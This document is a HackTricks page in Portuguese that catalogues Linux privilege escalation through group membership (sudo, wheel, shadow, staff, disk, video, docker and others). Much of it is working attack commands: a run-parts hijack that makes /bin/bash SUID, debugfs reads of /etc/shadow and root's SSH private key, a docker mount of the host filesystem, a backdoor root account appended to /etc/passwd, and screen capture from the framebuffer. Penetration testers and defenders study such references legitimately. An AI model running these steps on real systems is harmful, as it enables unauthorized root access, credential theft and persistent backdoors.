hacktricks/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md

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# Interesting Groups - Linux Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
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</details>
{% endhint %}
## Grupos Sudo/Admin
### **PE - Método 1**
**Às vezes**, **por padrão (ou porque algum software precisa disso)** dentro do **/etc/sudoers** você pode encontrar algumas dessas linhas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Isso significa que **qualquer usuário que pertença ao grupo sudo ou admin pode executar qualquer coisa como sudo**.
Se este for o caso, para **se tornar root você pode apenas executar**:
```
sudo su
```
### PE - Método 2
Encontre todos os binários suid e verifique se há o binário **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Se você descobrir que o binário **pkexec é um binário SUID** e você pertence ao **sudo** ou **admin**, você provavelmente poderá executar binários como sudo usando `pkexec`.\
Isso ocorre porque, normalmente, esses são os grupos dentro da **política do polkit**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em algumas distribuições linux os grupos **sudo** e **admin** aparecem.
Para **se tornar root você pode executar**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Se você tentar executar **pkexec** e receber este **erro**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Não é porque você não tem permissões, mas porque você não está conectado sem uma GUI**. E há uma solução para esse problema aqui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Você precisa de **2 sessões ssh diferentes**:
{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% endcode %}
{% code title="session2" %}
```bash
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
{% endcode %}
## Wheel Group
**Às vezes**, **por padrão** dentro do arquivo **/etc/sudoers** você pode encontrar esta linha:
```
%wheel ALL=(ALL:ALL) ALL
```
Isso significa que **qualquer usuário que pertença ao grupo wheel pode executar qualquer coisa como sudo**.
Se este for o caso, para **se tornar root você pode apenas executar**:
```
sudo su
```
## Shadow Group
Usuários do **grupo shadow** podem **ler** o **/etc/shadow** arquivo:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Então, leia o arquivo e tente **quebrar algumas hashes**.
## Grupo de Funcionários
**staff**: Permite que os usuários adicionem modificações locais ao sistema (`/usr/local`) sem precisar de privilégios de root (note que executáveis em `/usr/local/bin` estão na variável PATH de qualquer usuário, e podem "substituir" os executáveis em `/bin` e `/usr/bin` com o mesmo nome). Compare com o grupo "adm", que está mais relacionado à monitoramento/segurança. [\[source\]](https://wiki.debian.org/SystemGroups)
Em distribuições debian, a variável `$PATH` mostra que `/usr/local/` será executada com a maior prioridade, independentemente de você ser um usuário privilegiado ou não.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Se conseguirmos sequestrar alguns programas em `/usr/local`, podemos facilmente obter root.
Sequestrar o programa `run-parts` é uma maneira fácil de obter root, porque a maioria dos programas executará um `run-parts`, como (crontab, quando o ssh faz login).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
ou Quando um novo login de sessão ssh.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash
# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts
# 0x3 start a new ssh sesstion to trigger the run-parts program
# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## Disk Group
Este privilégio é quase **equivalente ao acesso root** pois você pode acessar todos os dados dentro da máquina.
Files:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note que usando debugfs você também pode **escrever arquivos**. Por exemplo, para copiar `/tmp/asd1.txt` para `/tmp/asd2.txt`, você pode fazer:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
No entanto, se você tentar **escrever arquivos de propriedade do root** (como `/etc/shadow` ou `/etc/passwd`), você terá um erro de "**Permissão negada**".
## Grupo de Vídeo
Usando o comando `w`, você pode descobrir **quem está logado no sistema** e ele mostrará uma saída como a seguinte:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
O **tty1** significa que o usuário **yossi está logado fisicamente** em um terminal na máquina.
O **grupo video** tem acesso para visualizar a saída da tela. Basicamente, você pode observar as telas. Para fazer isso, você precisa **capturar a imagem atual na tela** em dados brutos e obter a resolução que a tela está usando. Os dados da tela podem ser salvos em `/dev/fb0` e você pode encontrar a resolução desta tela em `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Para **abrir** a **imagem bruta**, você pode usar **GIMP**, selecionar o arquivo **`screen.raw`** e escolher como tipo de arquivo **Dados de imagem bruta**:
![](<../../../.gitbook/assets/image (463).png>)
Em seguida, modifique a Largura e Altura para as usadas na tela e verifique diferentes Tipos de Imagem (e selecione o que melhor mostra a tela):
![](<../../../.gitbook/assets/image (317).png>)
## Grupo Root
Parece que, por padrão, **membros do grupo root** podem ter acesso para **modificar** alguns arquivos de configuração de **serviço** ou alguns arquivos de **bibliotecas** ou **outras coisas interessantes** que podem ser usadas para escalar privilégios...
**Verifique quais arquivos os membros do root podem modificar**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Grupo Docker
Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, então quando a instância inicia, ela carrega imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina.
```bash
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finalmente, se você não gostar de nenhuma das sugestões anteriores, ou elas não estiverem funcionando por algum motivo (firewall da API do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** conforme explicado aqui:
{% content-ref url="../docker-security/" %}
[docker-security](../docker-security/)
{% endcontent-ref %}
Se você tiver permissões de escrita sobre o socket do docker, leia [**este post sobre como escalar privilégios abusando do socket do docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## Grupo lxc/lxd
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
## Grupo Adm
Geralmente, **membros** do grupo **`adm`** têm permissões para **ler arquivos de log** localizados dentro de _/var/log/_.\
Portanto, se você comprometeu um usuário dentro deste grupo, você definitivamente deve dar uma **olhada nos logs**.
## Grupo Auth
Dentro do OpenBSD, o grupo **auth** geralmente pode escrever nas pastas _**/etc/skey**_ e _**/var/db/yubikey**_ se forem usadas.\
Essas permissões podem ser abusadas com o seguinte exploit para **escalar privilégios** para root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
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</details>
{% endhint %}